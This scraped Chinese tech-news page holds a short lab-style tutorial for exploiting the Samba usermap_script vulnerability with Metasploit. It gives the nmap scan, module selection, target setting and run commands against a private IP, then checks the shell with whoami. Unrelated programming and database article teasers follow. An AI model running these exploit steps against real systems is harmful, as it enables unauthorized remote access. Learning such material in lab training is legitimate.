Metasploit 溢出 samba 提权漏洞

news/2024/9/24 19:13:59/

一、信息收集
1.1 右键单击桌面,选择 Open Terminal Here ,打开终端。


1.2 输入命令 nmap -sS -p 139,445 -A 192.168.1.254 ,对目标主机进行扫描,发现
139、445 端口开放。

1.3 输入命令“msfconsole”,启动 MSF 终端。


1.4 输入命令“search samba”,搜索 samba 的相关攻击脚本。

1.5 输入命令“use exploit/multi/samba/usermap_script”,启用漏洞利用模块, 提
示符就会提示进入到该路径下。


1.6 输入命令“show options”,查看需要设置的相关项,yes 表示必须填写的参数。


1.7 输入命令“set rhost 192.168.1.254”,设置目标主机的 IP 地址。


1.8 输入命令“run”, 向目标主机攻击,建立会话。

1.9 输入命令 whoami、uname -a ,查看目标系统相关信息。


 


http://www.ppmy.cn/news/1443567.html

相关文章

webpack 入口和出口的最佳实践

入口和出口的最佳实践 {ignore} 具体情况具体分析 下面是一些经典场景 一个页面一个JS 外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传 源码结构 |—— src|—— pageA 页面A的代码目录|—— index.js 页面A的启动模块|—— ...|—— pageB 页面…

linux-系统安全与应用

目录 一、账号安全基本措施 1.系统账号清理 2.密码安全控制 3.历史命令安全管理 4.限制su切换用户 二、Linux中的PAM安全认证 1.PAM简介 2.PAM认证原理 3.PAM的配置文件 三、使用sudo提权 四、使用别名进行授权 五、开关机安全控制 1.GRUB限制 2 禁止普通用户登录…

OceanBase开发者大会实录-杨传辉:携手开发者打造一体化数据库

本文来自2024 OceanBase开发者大会,OceanBase CTO 杨传辉的演讲实录—《携手开发者打造一体化数据库》。完整视频回看,请点击这里>> 各位 OceanBase 的开发者,大家上午好!今天非常高兴能够在上海与大家再次相聚&…

Springboot自定义注解+aop实现redis自动清除缓存功能

假如我们是一个商家,我们在管理端 设置好菜品之后,每次不同的用户访问我们的菜品,都要查询数据库,当访问者多的时候,会造成数据库的卡顿,所以使用redis进行缓存,这样只需要读取一次数据库&#…

质量管理,怎能不知道SPC?

SPC(统计过程控制)是质量管理的一个重要组成部分,它可以帮助企业更好地控制生产过程、提高产品质量、降低生产成本、增强企业的竞争力。 SPC是一种应用统计技术对过程中的各个阶段进行评估和监控,建立并保持过程处于可接受的并且稳…

【OceanBase诊断调优】—— OceanBase 数据库日志解读

适用版本:V2.1.x、V2.2.x、V3.1.x、V3.2.x observer.log 日志 OBServer 启动日志 搜索关键字: [NOTICE] 日志说明: OBServer 启动过程中比较关键的日志信息。 [2023-05-11 14:19:09.703272] INFO [SERVER] ob_server.cpp:533 [95303][0]…

【Python 对接QQ的接口】简单用接口查询【等级/昵称/头像/Q龄/当天在线时长/下一个等级升级需多少天】

文章日期:2024.04.28 使用工具:Python 类型:QQ接口 文章全程已做去敏处理!!! 【需要做的可联系我】 AES解密处理(直接解密即可)(crypto-js.js 标准算法)&…

verilog 从入门到看得懂---matlab 自动生成verilog

matlab 的强大不用多说,以前经常用simulink 生成c,最近尝试用simulink进行了verilog的生成,方法也很简单。 一个简单的示例如下。 1,新建一个模型文件,并且根据需要进行模型搭建 2.配置HDL生成模块 3.点击 generation…